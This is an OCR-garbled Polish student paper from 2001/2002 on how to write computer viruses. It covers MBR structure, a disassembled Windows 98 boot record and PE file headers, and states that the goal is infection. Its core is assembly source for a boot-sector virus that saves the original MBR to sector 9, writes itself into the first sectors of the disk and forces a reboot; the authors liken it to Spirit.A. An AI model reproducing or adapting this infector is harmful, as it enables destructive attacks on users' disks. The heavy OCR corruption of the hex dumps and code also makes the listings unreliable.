WIRUSY KOMPUTEROWE ARCHITEKTURA KOMPUTER�W Autorzy: Mariusz Ciep�y Krzysztof Sk�adzie� Wroc�aw 2001/2002 Spis tre�ci: 1. Wst�p 2. Rodzaje wirus�w 3. Metody infekcji obiekt�w � g��wny rekord �aduj�cy (MBR) � pliki - budowa PE - infekcja PE - modu�y i funkcje 4. Architektura systemu 5. Wirus - sterownik VXD 6. Metody instalacji w pami�ci operacyjnej � tryb rzeczywisty � tryb chroniony - poziom ringS - poziom ringO - metody alternatywne 7. Zabezpieczania wirus�w � wyj�tki (SEH) � antydebugging � antydisassembling � szyfrowanie kodu 8. Optymalizacja kodu 9. Wirusy w Linux 10. Podsumowanie 11. Literatura 12. Dodatek - tablica assemblera 12. l.Wst�p Wirus komputerowy to najcz�ciej program napisany w j�zyku niskiego poziomu, jakim jest assembler, mo�na jednak u�ywa� j�zyk�w wysokiego poziomu takich jak Pascal lub C. Okazuje si�, �e assembler jest w tym temacie pot�nym narz�dziem. Jest niezast�piony, gdy� mo�na pisa� bez ogranicze�, jakie narzucaj� nam kompilatory j�zyk�w wysokiego poziomu. Dlatego w tym opracowaniu skupiamy si� na opisie metod pisania wirus�w opartych na assemblerze. Najcz�ciej u�ywany j�zyk koder�w wirus�w: ASM C/C++ Perl VB/VBA/VBS PHP None (collector) 17 31211 �4�g4% ni2%(^^ j \^^ y/D 68% D ASM � C/C++ D Perl DVB/VBA/VBS � PHP D None (collector) dane wed�ug Coderz.Net W skrypcie przedstawimy konkretne rozwi�zania i przyk�ady wsp�czesnych technik pisania, dlatego b�dziemy opisywa� wsp�czesn� architektur� komputer�w oraz najnowsze systemy operacyjne. Mamy zamiar opisywa� wirusy na bazie komputer�w kompatybilnych z PC, poniewa� to dzi�ki ich popularno�ci temat ten rozwija si� tak dynamicznie. Czytelnik zapozna si� r�wnie� ze sposobami, dzi�ki kt�rym uda�o si� nam doj�� do opisanych technik. Mamy na my�li prace z debuggerami - podstawowego i najwa�niejszego narz�dzia kodera wirus�w. Jest to wa�ne, poniewa� to dzi�ki debuggerom i technice reverse engineering mo�na zrozumie� mechanizmy dzia�ania zar�wno komputera jak i jego systemu operacyjnego. Dokumentacje dostarczane wraz z produktem zawsze zawieraj� te informacje, kt�re ich autorzy uwa�aj� za niezb�dne, sprytnie omijaj�c szczeg�y. My uwa�amy, �e taka forma dokumentacji jest nieodpowiednia, poniewa� przez ni� szerokie grono programist�w tak naprawd� nie wie z jakimi mechanizmami ma do czynienia. O czywi�cie tak szczeg�owa i wnikliwa wiedza nie zawsze jest potrzebna, jednak dla nas, koder�w wirus�w, jest niezb�dna. Posiadamy swoje sposoby i techniki, dzi�ki kt�rym t� wiedz� zdobywamy, dlatego na przyk�ad wiele metod w pisaniu wirus�w pochodzi ze zdissasemblowanych program�w systemowych. Wirusy to programy uwa�ane jako jedyne w swoim rodzaju. Ich kod musi by� przemy�lany, a co najwa�niejsze zoptymalizowany. Jest to bardzo wa�ne, poniewa� musi zajmowa� jak najmniej miejsca oraz powinien niepostrze�enie pracowa� na komputerze, dlatego zdecydowali�my si� napisa� o optymalizowaniu kodu. Wiedza na temat pisania wirus�w nie musi by� wykorzystywana do ich pisania, jest to raczej �wietny spos�b poznania swojego komputera od wewn�trz. Umiej�tno�� ta w du�ym stopniu przydaje si� do pisania program�w u�ytkowych, do odkrywania ukrytych funkcji w nowych systemach operacyjnych, ale tak�e do zmiany kodu w istniej�cych ju� programach - chyba najcz�ciej wykorzystywana. 2. Rodzaje wirus�w Zdecydowana wi�kszo�� wsp�czesnych wirus�w to programy doklejaj�ce si� do pliku, dzi�ki czemu mog� by� transportowane mi�dzy komputerami. Koderzy wirus�w jako jeden z g��wnych cel�w w swojej pracy stawiaj� na dopracowanie funkcji infekcji a co za tym idzie rozprzestrzeniania si� swojego programu. Prowadzi do to tego, �e powsta�o wiele ich odmian i typ�w. Mamy wirusy plik�w wsadowych, makrowirusy (Word, MS Project, itp), wirusy paso�ytnicze. Skrypt ten jednak opisuje wirusy w oparciu o architektur� komputer�w, jak j� wykorzysta� do ich tworzenia, dlatego skupimy si� na wirusach infekuj�cych pliki oraz okre�lone sektory dysk�w twardych. 3. Metody infekcji obiekt�w Najwa�niejsz� cz�ci� kodu wirusa jest jego procedura zara�aj�ca, kt�ra decyduje o sukcesie programu. G��wnym celem atak�w s� pliki wykonywalne, czyli dla DOS by�y to programy z rozszerzeniami COM oraz EXE (z ich podstawow� architektur�), dla Win32 s� to ju� w zasadzie tylko pliki EXE oznaczane dodatkowo jako PE (Portable Executable). Zawsze na ka�dym etapie pisania musimy zdecydowa�, na jakiej architekturze (platformie systemowej) b�dzie pracowa� nasz program, musimy wiedzie� wszystko z najmniejszymi szczeg�ami o systemie, dlatego je�eli chcemy infekowa� pliki, czy okre�lone sektory dysku to musimy zna� ich budow�. � G��wny rekord �aduj�cy (Master Boot Record MBR) Podczas uruchamiania komputera najpierw odczytywana jest pami�� ROM (w�a�ciwie: FlashRom), w kt�rej zawarte s� parametry BIOS-u, wykonywany jest test POST. Po zako�czeniu tego pierwszego etapu uruchamiania komputera BIOS odczytuje i uruchamia program znajduj�cy si� w pierwszym sektorze pierwszego dysku twardego lub na dyskietce (w zale�no�ci od tego, z jakiego no�nika korzystamy uruchamiaj�c system). Pierwszy sektor to w�a�nie Master Boot Record. Na pocz�tku tego sektora znajduje si� ma�y program, za� na ko�cu - wska�nik tablicy partycji. Program ten u�ywa informacji o partycji w celu okre�lenia, kt�ra partycja z dost�pnych jest uruchamiania, a nast�pnie pr�buje uruchomi� z niej system. Odczytanie pierwszego sektora dysku odbywa si� poprzez wykonanie przerwania int 19h. Nast�pnie je�eli zostanie zlokalizowany g��wny sektor �aduj�cy, to b�dzie on wgrany do pami�ci pod adresem 0000:7COOO i wykona si� tam kr�tki kod programu MBR. Zadaniem tego kodu jest odnalezienie aktywnej partycji na dysku. Je�eli zostanie ona odnaleziona to jej pierwszy sektor, nazywany boot sector (ka�dy system operacyjny ma swoj� wersje boot sector'a) b�dzie wgrany pod 0000:7COOO i program w MBR skoczy pod ten adres, w przeciwnym wypadku zostanie wy�wietlony odpowiedni komunikat o b��dzie. program �aduj�cy tablice partycji A 16 bajt�w 446 bajt�w -- - -- ^ - .. * - flaga aktywn. pocz�tek partycji typ partycji koniec partycji sektor pocz�tkowy liczba sektor�w 4 bajty l bajt 3 bajty l bajt 3 bajty 4 bajty Schemat budowy MBR 2 bajty Oto posta� hex/ascii MBR dla Windows 98 OSR2: l OFFSET 10123 4567 8 9 A B C D E F l 0123456789ABCDEF 000000 000010 000020 000030 000040 000050 000060 000070 000080 000090 OOOOAO OOOOBO OOOOCO OOOODO OOOOEO OOOOFO 000100 000110 000120 000130 000140 000150 000160 000170 000180 000190 OOOOAO 0001BO 0001CO 0001DO 0001EO 0001FO 33C08EDO BC007CFB 5007501F FCBE1B7C 3 |.P.P | BF1B0650 57B9E501 F3A4CBBE BE07B104 ...PW 382C7C09 751583C6 10E2F5CD 188B148B 8,|.u EE83C610 49741638 2C74F6BE 10074EAC It.8,t N. 3C0074FA BB0700B4 OECDlOEB F2894625 <.t F% 968A4604 B4063COE 7411B40B 3COC7405 ..F...<.t...<.t. 3AC4752B 40C64625 067524BB AA5550B4 :[email protected]%.u$..UP. 41CD1358 721681FB 55AA7510 F6C10174 A..Xr...U.U 1 OB8AE088 5624C706 A106EB1E 886604BF V$ f. . OAOOB801 028BDC33 C983FF05 7F038B4E 3 N 25034E02 CD137229 BE500781 3EFE7D55 %.N...r).P..>.}U AA745A83 EF057FDA 85F67583 BE4F07EB .tZ u..O.. 8A989152 99034608 13560AE8 12005AEB ...R..F..V Z. D54F74E4 33COCD13 EBB80000 80545214 .Ot.3 TR. 5633F656 56525006 5351BE10 00568BF4 V3.WRP.SQ. . .V. . 5052B800 428A5624 CD135A58 8D641072 PR..B.V$..ZX.d.r OA407501 4280C702 E2F7F85E C3EB744E [email protected] A..tN 69657072 61776964 B36F7761 20746162 ieprawid.owa tab 6C696361 20706172 7479636A 692E2049 lica partycji. I 6E737461 6C61746F 72206E69 65206D6F nstalator nie mo BF65206B 6F6E7479 6E756F77 61E62EOO .e kontynuowa... 4272616B 20737973 74656D75 206F7065 Brak systemu ope 72616379 6A6E6567 6FOOOOOO 00000000 racyjnego 00000000 00000000 00000000 00000000 0000008B FC1E578B F5CBOOOO 00000000 W 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 01010BEF 3F12103B 00002027 04008000 ?..;.. ' 01130CEF BF953062 04003059 94000000 Ob..OY 00000000 00000000 00000000 00000000 00000000 00000000 00000000 000055AA U. 0123 4567 8 9 A B C D E F l 0123456789ABCDEF Taki g��wny sektor �aduj�cy opisany jest w j�zyku C nast�puj�cymi strukturami: struct master_boot_record { ch�r bootinst[446]; ch�r parts[4 * sizeof (struct fdisk_partition_table)]; ushort signature; II kod programu, do offsetu OxlBE w MBR // ustawione na OxAA55, ostatnie s�owo w MBR struct fdisk_partition { unsigned char bootid; unsigned char beghead; unsigned char begsect; unsigned char begcyl; unsigned char systid; unsigned char endhead; unsigned char endsect; unsigned char endcyl; int relsect; int numsect; II party ej a butuj�ca? 0=nie, 80h=tak // pocz�tkowy numer g�owicy // pocz�tkowy numer sektora // pocz�tkowy numer cylindra // oznaka systemu operacyjnego // ko�cowy numer g�owicy // ko�cowy numer sektora // ko�cowy numer cylindra // pierwszy wzgl�dny sektor // liczba sektor�w w partycji Taki jeden struct fdisk_partition, czyli opis partycji zaznaczyli�my na rysunku MBR'a szarym kolorem. Wyst�puje ona jako druga na dysku i jest aktywna (pole na offsecie 0x1 CE ma warto�� 0x80) oraz jest na niej system plik�w FAT32x (pole na offsecie OxlD2 ma warto�� OxOC). Wida� od razu ile cennych informacji dla wirusa mo�emy otrzyma� analizuj�c te dane. Skoro wiemy wszystko o budowie pierwszego sektora dysku, to teraz przyst�pmy do dekompilacji tego przyk�adowego MBR: 5 xor mov mov sti push pop push ax,ax ss,ax sp,07GOO ax es ax ds si,07dB di,006lB ax di cx,OOlE5 movsb si,007BE cl, 004 ;Ustaw seg. stosu ;Ustaw ofs. stosu ;Zezwolenie na wykonywanie przerwa� ;Przekopiowani e 485 bajt�w ;od offsetu tutaj lokalnie OxlB ;do offsetu w RAM Ox6lB ;Przygotuj na stosie adres do skoku mov mov push push mov repe retf mov mov cmp lP jne add "loop int mov mov add dec je cmp je mov dec lodsb cmp je mov mov int jmps mov xchg mov mov cmp je mov cmp je cmp jne mc mov jne mov ;wykonaj kopiowanie. ;wykona] skok na offset OxlB ;mog� istnie� 4 tablice partycji ;czy partycja jest aktywna? 00000002D 00000003B si,010 000000020 018 dx, [si] bp, sn si,010 00000004D [si],ch 000000031 si, 00710 si ;przejd� na nast�pny opis partycji w MBR ;brak aktywnej, skocz do ROM BASIC al.OOO 00000003E bx,00007 ah.OOE 010 00000003F [bp][00025],ax si ,ax al,[bp][00004] ah,006 al.OOE 00000006B ah.OOB al,OOC 000000065 al ,ah 00000008F ax b,[bp][00025],006 00000008F bx,055AA 00000000: 33CO 00000002 : 8 EDO 00000004: BC007C 00000007: FB 00000008: 50 00000009: 07 OOOOOOOA: 50 OOOOOOOB: 1F OOOOOOOC: FC OOOOOOOD: BE1B7C 00000010: BF1B06 00000013: 50 00000014: 57 00000015: B9E501 00000018: F3A4 0000001A: CB 0000001B: BEBE07 0000001E: B104 00000020: 382C 00000022: 7C09 00000024: 7515 00000026: 83C610 00000029: E2F5 0000002B: CD18 0000002D: 8B14 0000002 F: 8BEE 00000031: 83C610 00000034: 49 00000035: 7416 00000037: 382C 00000039: 74F6 0000003B: BE1007 0000003E: 4E 0000003F: AC 00000040: 3COO 00000042 : 74 FA 00000044: BB0700 00000047: B40E 00000049: CD10 0000004B: EBF2 0000004D: 894625 00000050: 96 00000051: 8A4604 00000054: B406 00000056: 3COE 00000058: 7411 0000005A: B40B 0000005C: 3COC 0000005E: 7405 00000060: 3AC4 00000062: 752B 00000064: 40 00000065: C6462506 00000069: 7524 0000006B: BBAA55 UUUUUUbB: BBAAbb mov bX,U55AA Po wst�pnej analizie kodu MBR, wida� co si� dzieje podczas uruchamiania systemu. Wykorzystamy oczywi�cie t� wiedz� do napisania kodu, kt�ry b�dzie infekowa� g��wny rekord �aduj�cy. Nasz_MBR: xor ax,ax mov ss,ax mov sp,7GOOh int 12h mov cl, 6 shl ax,c1 mov cx,100h sub ax,cx mov dx,0080h mov cx,0002h mov es,ax xor bx,bx mov ax,0206h ;Ustaw stos ;Pobranie rozmiaru pami�ci ;ustaleni e segmentu, kt�ry zaczyna si� 4kb ;przed koncern parni ;adres ;2 sektor ;adres ;Wczytuje kod wirusa pod ten adres int int mov shl mov sub push mov push retf nop nop nop nop nop nop nop nop koniec_MBR: procedura_MBR: mov mov mov mov mov mov xor mov mov mov int cali push push retf nop nop nop nop ;ponowni e liczy ten adres, aby wykona� skok 13h 12h cl, 6 ax,c1 cx,100h ax,cx ;adres ax ;odk�ad� na stos adres ax,offset procedura_MBR ax ;Skok do pami�ci wielko�� tej sekcji jest istotna ax,cs ds,ax ss,ax sp,offset bufor[lOOh] ;ustaleni e stosu dx,0080h cx,0009h ax,ax es,ax bx,7GOOh ax,0201h 13h ;wczytaj oryginalny Bootrecord pod 0:7cOOh procedura_zarazania es bx ;Powr�t, wykonaj oryginalny MBR procedu ra_zarazem' a: ; dodatkowy kod wirusa ret bufor db 200h dup (0) ;512 bajt�w na MBR zara�enie_MBR: push push mov mov mov mov mov mov int mov mov mov mov mov cl d mov rep jne jmp ds es dx,0080h cx,0001h ax,cs es,ax bx,offset bufor ax,0201h 13h ax,cs ds,ax es,ax si,offset bufor di,offset nasz_MBR cx,18h cmpsb nie_zarazona koniec ;wczytaj 1.sektor do bufora ;bufor z 1.sektorem :kod wi rusa ;czy partycja jest zara�ona, por�wnaj me_zarazona: mov dx,0080h mov cx,0009h mov ax,es koniec: mov es,ax mov bx, offset bufor mov ax,0301h int 13h ; zapisz oryginalny Bootrecord do 9. sektora mov ex, ( (offset koni ec_MBR)- (offset nasz_MBR)) mov ax , es mov ds,ax mov es,ax mov si, offset nasz_MBR mov di, offset bufor cl d rep movsb jWype�nij bufor wirusem mov dx,0080h mov cx,0001h mov ax , es mov es,ax mov bx, offset bufor mov ax,0301h int 13h ; zapisz zawarto�� bufora do 1. sektora mov dx,0080h mov cx,0002h mov ax , es mov es,ax mov bx, offset nasz_MBR mov ax,0306h ; zapisz Gsektor�w kodem �r�d�owym wi rusa int 13h ; pocz�wszy od 2. sektora pop es pop d s ret install: cali mov push xor push retf zarazem e_MBR ax,0ffffh ax ax,ax ax ;po zara�eniu wykonaj reset komputera :) end install Ten kod infekcji dzia�a bardzo podobnie do kodu niegdy� bardzo popularnego wirusa Spirit.A, kt�ry infekowa� MBR i robi� kopie zdrowego na 9 sektorze dysku. Pliki EXE (PE) dla Windows 9x Specyfikacja formatu PE pochodzi z systemu UNIX i jest znana jako COFF (common object file format). System Windows powsta� na korzeniach VAX, VMS oraz UNIX; wielu jego tw�rc�w wcze�niej pracowa�o nad rozwojem tych system�w, zatem logiczne wydaje si� zaimplementowanie niekt�rych w�a�ciwo�ci tej specyfikacji. Znaczenie PE (Portable Executable) m�wi, �e jest to przeno�ny plik wykonywalny, co w praktyce oznacza uniwersalno�� mi�dzy platformami x86, MIPS, Alpha. Oczywi�cie ka�da z tych architektur posiada r�ne kody instrukcji, ale najistotniejszy okazuje si� tutaj fakt, �e programy �aduj�ce SO oraz jego programy u�ytkowe nie musz� by� przepisane od pocz�tku dla ka�dej z tych platform. Ka�dy plik wykonywalny Win32 (z wyj�tkiem VXD oraz 16 bitowych DLL) u�ywa formatu PE. Opisy struktur plik�w PE s� umieszczone w pliku nag��wkowym WINNT.H dla kompilator�w Microsoftu oraz plik NTIMAGE.H dla Borland IDE. Po tym nag��wku jest miejsce na kr�tki fragment kodu zwany DOS STUB, kt�ry pokazuje napis informuj�cy, �e program mo�e pracowa� tylko pod Win32. � Nag��wek PE Poni�ej STUB jest nag��wek PE zwany IMAGE_NT_HEADERS. Struktura ta zawiera fundamentalne informacje o pliku wykonywalnym. Program �aduj�cy Windows wczytuj�c plik do pami�ci, wyszukuje pole ejfanew z IMAGE_DOS_HEADERS i skacze pod dany tam adres (na IMAGE_NT_HEADERS), omijaj�c w ten spos�b DOS STUB. IMAGE_NT_HEADERS STRUCI Signature DWORD ? FileHeader IMAGE_FILE_HEADER o OptionalHeader MAGE_OPTIONAL_HEADER32 <> IMAGE_NT_HEADERS ENDS Pole Signature to 4 bajtowy identyfikator nowego nag��wka PE, podaje typ pliku: DLL,EXE,VXD..., podajemy niekt�re z dost�pnych typ�w: MAGE_DOS_SIGNATURE equ 5A4Dh ("MZ") MAGE_OS2_SIGNATURE equ454Eh ("NE") MAGE_OS2_SIGNATURE_LE equ454Ch ("LE") MAGE_VXD_SIGNATURE equ454Ch ("Sterownik VXD") MAGE_NT_SIGNATURE equ 4550h ("PE") Pole FileHeader zawiera struktur� EVLAGE_FILE_HEADER opisuj�c� plik. Pole OptionalHeader zawiera r�wnie� struktur�, kt�r� nazywamy IMAGE_OPTIONAL_HEADER32, zawiera ona dodatkowe informacje o pliku i jego strukturze. Nazwa tego pola i struktury jest myl�ca, poniewa� wyst�puje on w ka�dym pliku typu EXE PE, zatem nie jest opcjonalna ,tak jak sugeruje jego nazwa. Dla kodera wirus�w sygnatury z pierwszego pola IMAGE_NT_HEADRES s� bardzo znacz�ce, poniewa� umo�liwiaj� sprawdzenie rodzaju pliku EXE. Przyk�adowo za��my, �e w hFile mamy uchwyt otwartego pliku, to kawa�ek kodu odpowiedzialny za sprawdzenie rodzaju pliku EXE b�dzie mia� nast�puj�c� posta�: irwoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0 .if eax!=NULL i rwoke Mapvi ewofFi1 e,eax,FILE_MAP_READ,0,0,0 .if eax!=NULL mov edi, eax assume edi:ptr IMAGE_DOS_HEADER .i f [edi].e_magi C==IMAGE_DOS_SIGNATURE add edi, [ediJ.e_lfanew assume edi:ptr IMAGE_NT_HEADERS .i f [edi].Si gnatu re==iMAGE_NT_siGNATURE ;p~lik EXE typu PE .else ;inny rodzaj pliku .endif .endif .endif . endi f (listing dla kompilatora M ASM z wykorzystaniem Windows API) Widzieli�my, �e w strukturze IMAGE_NT_HEADERS mamy pole FileHeader, znajduje si� tam inna struktura, zwana IMAGE_FILE_HEADER: 10 IMAGE_FILE_HEADER STRUCI Machin� WORD ? NumberOfSections WORD ? TimeDateStamp DWORD ? PointerToSymbolTable DWORD ? NumberOfSymbols DWORD ? SizeOfOptionalHeader WORD ? Characteristics WORD ? IMAGE FILE HEADER ENDS ;Platrorma CPU ;Liczba sekcji w pliku ;Data linkowania pliku ;U�yteczne do debugowania pliku ;U�yteczne do debugowania pliku ;Wielko�� struktury opisanej dalej ;Flagi charakteryzuj�ce plik IMAGE_SIZEOF_FILE_HEADER equ 20d - sta�a wielko�� struktury Pole Machin�, identyfikuj�ce platform� CPU mo�e reprezentowa� min. takie maszyny: IMAGE_FILE_MACHINE_UNKNOWN equ O IMAGE_FILE_MACHINE_I3 86 IMAGE_FILE_MACHINE_ALPHA IMAGE_FILE_MACHINE_IA64 IMAGE FILE MACHIN� AXP64 equ014ch Intel equ0184h DEC Alpha equ 0200h Intel (64-bit) equ IMAGE_FILE_MACHINE_ALPHA64DEC Alpha (64-bit) lista skr�cona NumberOfSections liczba sekcji w pliku EXE lub OBJ, jest dla nas bardzo istotna, poniewa� b�dziemy musieli edytowa� t� pozycje, �eby doda�(usun��) sekcje dla naszego kodu wirusa. Data linkowania pliku jest nieistotna, poniewa� niekt�re linkery wpisuj� tu z�e dane, jednak to pole niekiedy przechowuje liczb� sekund od 31 grudnia 1969 roku, godziny 16:00. Dwa pola identyfikuj�ce si� z symbolami wyst�puj� w plikach .OBJ oraz .EXE z informacjami dla debuger�w. Wielko�� struktury OptionalHeader jest bardzo wa�na, poniewa� musimy zna� wielko�� (kolejnej) struktury IMAGE_OPTIONAL_HEADER. Pliki OBJ zawieraj� tu warto�� O - tak podaje dokumentacja Microsoftu, jednak w KERNEL32.LIB pole to zawiera warto�� r�n� od zera :). Flagi charakteryzuj�ce plik to: IMAGE_FILE_RELOCS_STRIPPED equ OOOlh IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h IMAGE_FILE_LINE_NUMS_STRIPPED equ 0004h IMAGE_FILE_LOCAL_SYMS_STRIPPED equ OOOSh IMAGE_FILE_AGGRESIVE_WS_TRI M equ OOlOh IMAGE_FILE_LARGE_ADDRESS_AWARE equ 0020h IMAGE_FILE_BYTES_REVERSED_LO equ OOSOh IMAGE_FILE_32BIT_MACHINE equ OlOOh IMAGE_FILE_DEBUG_STRIPPED equ 0200h IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP equ 0400h IMAGE_FILE_NET_RUN_FROM_SWAP equ OSOOh IMAGE_FILE_SYSTEM equ lOOOh IMAGE_FILE_DLL equ 2000h IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h IMAGE_FILE_BYTES_REVERSED_HI equ SOOOh Brak informacji o "relokacjach" Plik wykonywalny (nie jest .OBJ albo .LIB) Numerowania linii brak w pliku Lokalne symbole nie s� w pliku Aplikacja mo�e adresowa� wi�cej ni� 2 GB Zarezerwowane bajty typu word Dla maszyn 32-bitowych Informacje o symbolach s� w pliku (*.dbg) Kopiuj i uruchom ze swapa Gdy plik w sieci, kopiuj i uruchom ze swapa Plik systemowy Plik Dynamie Link Library (DLL) Zarezerwowane bajty typu word W strukturze IMAGE_NT_HEADERS opr�cz om�wionego FileHeader (wskazuj�cy na znany ju� EVLAGE_FILE_HEADERS) jest pole OptionalHeader, kt�re reprezentuje najwa�niejsz� struktur� (w pliku obie te struktury wyst�puj� obok siebie, OptionalHeader po FileHeader). Warto zwr�ci� uwag� na fakt, �e 11 obydwie te struktury w pliku znajduj� si� jedna po drugiej, nie ma w tych polach adres�w do miejsc tak opisanych. IMAGE_OPTIONAL_HEADER32 STRUCI Magie Maj orLinkerYersion MinorLinkerYersion SizeOfCode SizeOflnitializedData SizeOfUninitializedData AddressOfEntryPoint BaseOfCode BaseOfData ImageBase SectionAlignment FileAlignment Maj orOperatingSy stemYersion MinorOperatingSystemYersion Maj orlmage Yer sion MinorlmageYersion Maj orSubsy stemYersion MinorSubsystemYersion Win3 2 YersionYalue SizeOflmage SizeOfHeaders CheckSum Subsystem DllCharacteristics SizeOfStackReserve SizeOfStackCommit SizeOfHeapReserve SizeOfHeapCommit LoaderFlags NumberOfRyaAndSizes DataDirectory IMAGE OPTIONAL HEADER32 ENDS WORD ? BYTE ? BYTE ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? WORD ? WORD ? WORD ? WORD ? WORD ? WORD ? DWORD ? DWORD ? DWORD ? DWORD ? WORD ? WORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? DWORD ? IMAGE_DATA_DIRECTORY 16dup(<>) IMAGE_SIZEOF_NT_OPTIONAL32_HEADER equ 224d - sta�a wielko�� struktury Je�eli chcemy zrozumie� budow� struktury EVLAGE_OPTIONAL_HEADER trzeba zapozna� si� z notacj� RYA. RVA czyli Relative Yirtual Addres - s�u�y do opisywania adresu pami�ci, gdy nie jest znany adres bazowy (base address). Jest to warto��, kt�r� nale�y doda� do adresu bazowego, aby otrzyma� adres liniowy (linear address). Pozostaje kwestia tego, co rozumiemy poprzez adres bazowy - jest to adres w pami�ci gdzie zosta� za�adowany nag��wek PE pliku wykonywalnego. Dla przyk�adu przyjmijmy, �e plik jest za�adowany pod wirtualny adres (yirtual address VA) 0x400000 i pocz�tek jego kodu wykonywalnego jest pod RYA 0x1850, wtedy jego pocz�tek efektywny b�dzie w pami�ci pod adresem 0x401850. RYA mo�na por�wna� do offsetu w pliku, jednak w tym przypadku RYA to po�o�enie wzgl�dem wirtualnej przestrzeni adresowej trybu chronionego. Mechanizm ten w znacznym stopniu u�atwia prace procedurze systemowej, kt�ra jest odpowiedzialna za uruchamianie program�w, poniewa� z uwagi na to, �e program mo�e zosta� za�adowany w dowolne miejsce 12 w wirtualnej przestrzeni adresowej, nie potrzeba przeprowadza� relokacji w modu�ach, gdy� istnieje zapis RVA. Wa�ne jest, aby warto�� RVA by�� zaokr�glona do liczby podzielnej przez 4. Opis p�l w strukturze IMAGE_OPTIONAL_HEADER: Pole Magie nie jest istotne, poniewa� nigdy nie spotkali�my si�, aby mia�o warto�� inn� ni� OlOBh, czyli MAGE_NT_OPTIONAL_HDR32_MAGIC. Nast�pne dwa bajty okre�laj� wersje linkera, kt�ry utworzy� plik. Znowu, pola te sanie istotne, poniewa� nie s� prawid�owo wype�nione, niekt�re linkery nawet nie wpisuj� tu �adnych warto�ci. Warto�� wpisywana tu jest w postaci dziesi�tnej. Kolejne trzy 32-bitowe pola okre�laj� wielko�ci, odpowiednio: � wielko�� wynikowego kodu (SizeOfCode) - ca�kowita i zaokr�glona wielko�� sekcji z kodem w pliku. Zwykle w pliku jest tylko jedna sekcja z kodem, czyli pole to zawiera wielko�� tylko tej jedynej ( nazywanej .text) � wielko�� danych zainicjowanych w programie (SizeOflnitializedData) � wielko�� niezainicjowanych danych (SizeOfUninitializedData) sekcji .bss AddressOfEntryPoint to adres RVA punktu startu programu (Entry Point), kt�ry obowi�zuje dla EXE'c�w i DLL'i. W celu uzyskania wirtualnego adresu punktu startu programu nale�y do adresu miejsca za�adowania programu doda� to RVA. BaseOfCode to adres RVA pocz�tku sekcji z kodem programu, kt�ra jest za nag��wkami oraz przed sekcjami z danymi. Sekcja ta cz�sto nosi nazw� .text. Linker Microsoftu ustawia tu 0x1000, za� Borlanda TLINK32 0x10000. BaseOfData to adres RVA pocz�tku sekcji z danymi programu, kt�ra wyst�puje jako ostatnia (poza nag��wkami oraz kodem). Pole ImageBase to informacja dla systemowej procedury �aduj�cej w jakie miejsce w pami�ci wirtualnej nale�y za�adowa� program. Standardowo dla DLL'i to 0x10000, dla aplikacji Win32 to 0x00400000. Chocia� zdarzaj� si� wyj�tki, bo na przyk�ad excel.exe z Microsoft Office ma to pole ustawione na 0x30000000. Dzi�ki temu polu KERNEL32.DLL zawsze �aduje si� w to samo miejsce w RAM przy starcie Windows. W systemie NT 3.1 pliki wykonywalne mia�y ustawion� warto�� ImageBase na 0x10000, jednak wraz z rozwojem systemu, zmieniona zosta�a wirtualna przestrze� adresowa (om�wiona p�niej), dlatego starsze oprogramowanie d�u�ej si� uruchamia, ze wzgl�du na relokacje bazy. SectionAlignment - jak program jest zmapowany w pami�ci, to ka�da jego sekcja zaczyna w okre�lonym przez system wirtualnym adresie, kt�rego warto�� jest wielokrotno�ci� tego pola. Linkery Microsoftu ustawiaj�tu minimaln� dopuszczaln� warto�� (0x1000), za� linkery Borlanda C++ 0x10000 (64KB). FileAlignment, znaczenie tego pola jest podobne do SectionAlignment, tyle �e w tym przypadku odnosi si� to do pozycji (offset) w pliku, a nie jak poprzednio przy mapowaniu pliku w pami�ci. Standardowo pole to zajmuje warto�� 0x200 bajt�w, prawdopodobnie dlatego, �e sektor dysku ma tak� d�ugo��. Grupa p�l, kt�rych nie opisujemy (nazwa opisuje jednoznacznie ich przeznaczenie): MajorOperatingSystem Yersion MinorOperatingSystem Yersion Majorlmage Yersion Minorlmage Yersion MajorSubsystem Yersion MinorSubsystem Yersion Win32 Yersion Yalue 13 SizeOflmage, to suma wielko�ci wszystkich nag��wk�w oraz sekcji wyr�wnanych zgodnie z pozycj� SectionAlignment. Dzi�ki tej pozycji program �aduj�cy poinformowany jest ile ma zarezerwowa� pami�ci dla pliku, w przypadku niepowodzenia takiej operacji wy�wietlany jest komunikat o b��dzie wraz z informacj�, �e powinno si� zamkn�� pozosta�e programy i spr�bowa� ponownie. SizeOfHeaders oznacza po prostu wielko�� nag��wk�w oraz tablicy sekcji. Jednocze�nie mo�na powiedzie�, �e wielko�� ta wyznacza offset pierwszej sekcji w pliku, czyli [SizeOfHeaders] = [wielko�� ca�ego pliku] -[ca�kowita wielko�� wszystkich sekcji] CheckSum suma kontrolna Cyclic Redundancy Check (CRC) Dost�pne warto�ci w WINNT.H dla Subsystem, to: Native =1 - program nie wymaga podsystemu (sterownik urz�dzenia) Windows_GUI = 2 - wymaga Windows Graphic Unit Interface Windows_CUI =3 - Windows Console Unit Interface, tryb znakowy OS2_CUI = 5 POSIX_CUI =7 DllCharacteristics pole to jest ju� nie u�ywane, w Windows NT 3.5 zaznaczone by�o jako przestarza�e. SizeOfStackReserve liczba bajt�w wirtualnej pami�ci do zarezerwowania dla stosu pocz�tkowego w�tku programu. Pole to standardowo przyjmuje warto�� 0x100000 (l MB). U�ywane jest ono r�wnie� w przypadku, gdy w funkcji api CreateThred() nie sprecyzujemy wielko�ci jego stosu, tworzony jest wtedy stos dla nowego w�tku o wielko�ci podanej w tym w�a�nie polu. SizeOfStackCommit liczba bajt�w wirtualnej pami�ci do przyporz�dkowania dla stosu pocz�tkowego w�tku programu. Microsoft Linker ustawia tu 0x1000 (l strona), za� Borlanda 0x2000 (2 strony). SizeOfHeapReserve analogicznie liczba bajt�w wirtualnej pami�ci do zarezerwowania na lokaln� stert� programu. Funkcja systemowa GetProcessHeap() zwraca wielko�� zarezerwowanej liczby bajt�w. SizeOfHeapCommit liczba bajt�w wirtualnej pami�ci do przyporz�dkowania na lokaln� stert� programu. Standardowo 0x1000 bajt�w LoaderFlags znowu pole to jest ju� nie u�ywane, w Windows NT 3.5 zaznaczone by�o jako przestarza�e. NumberOfRvaAndSizes liczba wej�� do tablicy DataDirectory (kolejne pole), zawsze ustawione na 16. Ostatnie pole 